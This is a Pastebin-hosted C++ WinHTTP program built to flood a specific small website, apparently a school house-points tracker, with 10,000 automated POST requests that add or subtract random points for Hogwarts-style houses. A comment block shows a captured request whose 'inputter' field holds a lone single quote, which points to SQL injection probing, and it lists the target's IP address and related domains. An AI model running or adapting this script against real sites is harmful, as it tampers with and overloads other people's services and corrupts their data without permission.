Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <Windows.h>
- #include <WinHttp.h>
- #include <stdio.h>
- #include <iostream> //getchar
- #include <fstream>
- #include <vector>
- #include <cstdlib>
- #include <time.h>
- #include <sstream>
- #include <fstream>
- #pragma comment(lib, "winhttp.lib")
- using namespace std;
- //This will convert to utf8 encoding
- std::wstring get_utf16(const std::string &str, int codepage)
- {
- if (str.empty()) return std::wstring();
- int sz = MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), 0, 0);
- std::wstring res(sz, 0);
- MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), &res[0], sz);
- return res;
- }
- string HttpsWebRequestPost(string domain, string url, string dat)
- {
- //Extra
- LPSTR data = const_cast<char *>(dat.c_str());;
- DWORD data_len = strlen(data);
- wstring sdomain = get_utf16(domain, CP_UTF8);
- wstring surl = get_utf16(url, CP_UTF8);
- string response;
- DWORD dwSize = 0;
- DWORD dwDownloaded = 0;
- LPSTR pszOutBuffer;
- BOOL bResults = FALSE;
- HINTERNET hSession = NULL,
- hConnect = NULL,
- hRequest = NULL;
- // Use WinHttpOpen to obtain a session handle.
- hSession = WinHttpOpen(L"WinHTTP Example/1.0",
- WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
- WINHTTP_NO_PROXY_NAME,
- WINHTTP_NO_PROXY_BYPASS, 0);
- // Specify an HTTP server.
- if (hSession)
- hConnect = WinHttpConnect(hSession, sdomain.c_str(),
- INTERNET_DEFAULT_HTTP_PORT, 0);
- // Create an HTTP request handle.
- if (hConnect)
- hRequest = WinHttpOpenRequest(hConnect, L"POST", surl.c_str(),
- NULL, WINHTTP_NO_REFERER,
- WINHTTP_DEFAULT_ACCEPT_TYPES,
- 0);
- LPCWSTR additionalHeaders = L"Content-Type: application/x-www-form-urlencoded\r\n";
- DWORD headersLength = -1;
- // Send a request.
- if (hRequest)
- bResults = WinHttpSendRequest(hRequest,
- additionalHeaders, headersLength,
- (LPVOID)data, data_len,
- data_len, 0);
- // End the request.
- if (bResults)
- bResults = WinHttpReceiveResponse(hRequest, NULL);
- // Keep checking for data until there is nothing left.
- if (bResults)
- {
- do
- {
- // Check for available data.
- dwSize = 0;
- if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
- printf("Error %u in WinHttpQueryDataAvailable.\n",
- GetLastError());
- // Allocate space for the buffer.
- pszOutBuffer = new char[dwSize + 1];
- if (!pszOutBuffer)
- {
- printf("Out of memory\n");
- dwSize = 0;
- }
- else
- {
- // Read the data.
- ZeroMemory(pszOutBuffer, dwSize + 1);
- if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
- dwSize, &dwDownloaded))
- printf("Error %u in WinHttpReadData.\n", GetLastError());
- else
- //printf("%s", pszOutBuffer);
- response = response + string(pszOutBuffer);
- // Free the memory allocated to the buffer.
- delete[] pszOutBuffer;
- }
- } while (dwSize > 0);
- }
- // Report any errors.
- if (!bResults)
- printf("Error %d has occurred.\n", GetLastError());
- // Close any open handles.
- if (hRequest) WinHttpCloseHandle(hRequest);
- if (hConnect) WinHttpCloseHandle(hConnect);
- if (hSession) WinHttpCloseHandle(hSession);
- return response;
- }
- int main() {
- vector<string> houses = { "Gryffindor", "Slytherin", "Ravenclaw", "Hufflepuff" };
- vector<string> inputters = { "Totoro", "Jackie Chan", "Osama bin Laden", "Borat", "Dr. Evil", "McLovin", "Inspector Clouseau", "Obi-Wan Kenobi", "Michael Scott", "Dwight Schrute" };
- vector<string> addOrSub = { "add", "sub" };
- srand(time(NULL));
- ofstream out("test.txt", std::ios_base::app);
- for(int i = 0; i < 10000; i++) {
- string house = houses.at(rand() % houses.size());
- string addSub = addOrSub.at(rand() % addOrSub.size());
- int inputter = i;
- int points = rand() % 32000;
- stringstream ss;
- //house=Gryffindor&points=0&add%2Fsub=add&inputter=%27
- string password = " ";
- ss << "house=" << house << "&points=" << points << "&add%2Fsub=" << addSub << "&inputter=" << password;
- out << ss.str();
- /*
- POST /anelon/points/push.php HTTP/1.1
- Host: ab-kc.tk
- Connection: keep-alive
- Content-Length: 52
- Cache-Control: max-age=0
- Origin: http://ab-kc.tk
- Upgrade-Insecure-Requests: 1
- Content-Type: application/x-www-form-urlencoded
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*//*; q = 0.8
- Referer: http://ab-kc.tk/anelon/points/addpoints.html
- Accept - Encoding : gzip, deflate
- Accept - Language : en - US, en; q = 0.9
- house=Gryffindor&points=0&add%2Fsub=add&inputter=%27
- 67.181.137.155
- ab-kc.tk
- kerney-houses.tk
- */
- cout << "PASS: " << i << "/t" << HttpsWebRequestPost("ab-kc.tk", "/anelon/points/push.php?", ss.str()) << endl;
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement